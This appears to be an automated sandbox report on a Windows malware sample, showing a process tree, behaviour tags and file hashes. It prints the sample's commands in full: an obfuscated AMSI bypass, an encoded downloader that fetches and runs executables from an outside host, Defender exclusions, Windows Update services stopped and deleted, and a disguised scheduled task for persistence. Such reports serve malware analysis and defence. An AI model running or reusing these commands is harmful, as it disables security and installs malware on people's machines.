0)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');$RCVOkOJymUG.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+'o'+''+'k'+''+'e'+'',''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+'H'+'i'+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+''+'u'+''+'a'+'l',$NWORuFSQCW,$UYeHxGDFlKIZDd).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+'i'+''+'m'+''+'e'+','+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $RCVOkOJymUG.CreateType();}$aesRdwDjOeXyR=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+'e'+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'ro'+'s'+''+'o'+'ft'+[Char](46)+''+'W'+'i'+[Char](110)+''+'3'+'2'+[Char](46)+''+[Char](85)+''+'n'+''+'s'+''+'a'+''+'f'+''+'e'+'a'+[Char](101)+''+[Char](115)+''+'R'+''+[Char](100)+''+'w'+''+'D'+''+[Char](106)+''+[Char](79)+''+[Char](101)+''+[Char](88)+'y'+[Char](82)+'');$iZRymcpDpkZHkh=$aesRdwDjOeXyR.GetMethod(''+[Char](105)+''+'Z'+''+[Char](82)+''+[Char](121)+''+'m'+''+[Char](99)+''+'p'+''+'D'+''+'p'+''+[Char](107)+''+'Z'+'H'+[Char](107)+''+[Char](104)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bXPOcRpmiRLTasWWyRc=ylbqpHGbDiHW @([String])([IntPtr]);$zDxpesFUDZMkLGarFgigSq=ylbqpHGbDiHW @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IrNYwqFnDOY=$aesRdwDjOeXyR.GetMethod('G'+'e'+'tM'+[Char](111)+''+[Char](100)+''+[Char](117)+'leH'+'a'+'n'+'d'+'le').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+'3'+'2'+''+'.'+''+'d'+''+'l'+''+'l'+'')));$VWalOnrMCpDEMF=$iZRymcpDpkZHkh.Invoke($Null,@([Object]$IrNYwqFnDOY,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+''+'r'+'a'+'r'+''+'y'+'A')));$aIWbDlpgBLLoHyYQO=$iZRymcpDpkZHkh.Invoke($Null,@([Object]$IrNYwqFnDOY,[Object](''+[Char](86)+'i'+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+'r'+''+[Char](111)+''+[Char](116)+''+'e'+''+'c'+''+'t'+'')));$QthbBEg=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VWalOnrMCpDEMF,$bXPOcRpmiRLTasWWyRc).Invoke(''+'a'+''+'m'+'si.'+[Char](100)+''+'l'+''+[Char](108)+'');$qCeoAUOVVkDFMyJar=$iZRymcpDpkZHkh.Invoke($Null,@([Object]$QthbBEg,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+'S'+''+'c'+''+[Char](97)+''+'n'+'B'+[Char](117)+'f'+'f'+''+'e'+''+[Char](114)+'')));$GZdFasMhfc=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aIWbDlpgBLLoHyYQO,$zDxpesFUDZMkLGarFgigSq).Invoke($qCeoAUOVVkDFMyJar,[uint32]8,4,[ref]$GZdFasMhfc);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$qCeoAUOVVkDFMyJar,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aIWbDlpgBLLoHyYQO,$zDxpesFUDZMkLGarFgigSq).Invoke($qCeoAUOVVkDFMyJar,[uint32]8,0x20,[ref]$GZdFasMhfc);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+'d'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+''+'r'+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1600
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1192
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1208
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1316
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2288
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1572
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1604
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1616
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1740
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1876
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1968
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2064
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2552
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2656
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2616
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:2832
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3248
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3456
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:2544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3020
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:2596
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2532
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:4680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4424
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1892
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:4340
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4652
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3416
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3048
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C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4712 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:396
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:336 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1612
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 336 -s 3126⤵
- Program crash
PID:4072
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1152
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3468
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4712 -s 1403⤵
- Program crash
PID:3428
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4388
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:376 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4076
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1176
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:956
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:2404
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:5032
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:4496
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4616
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:2396
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:3916
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:3772
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4232
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:2380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2560
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2496
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2488
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2296
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2100
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1296
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1952
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1840
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1712
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1504
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1452
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:1344
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4712 -ip 47122⤵PID:3264
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 336 -ip 3362⤵PID:1960
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD5db6de5507fd8c11cfae30014899209ea
SHA1e4225dfc92e929aa4758cc390a262f4ae5c85b4d
SHA256d9755130af4ae93976f7055b44c12f29a66c26caecd6df13a7669379d655ba58
SHA512029dfdbc31e50c9f778c168b7046b43fdccc9ea71e83295c984dcfe539b0ea6ae132fed6cf436fe64d8d5d30386c6b14db7d0a6a2c69d32bbb880f2ee1fb0604
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5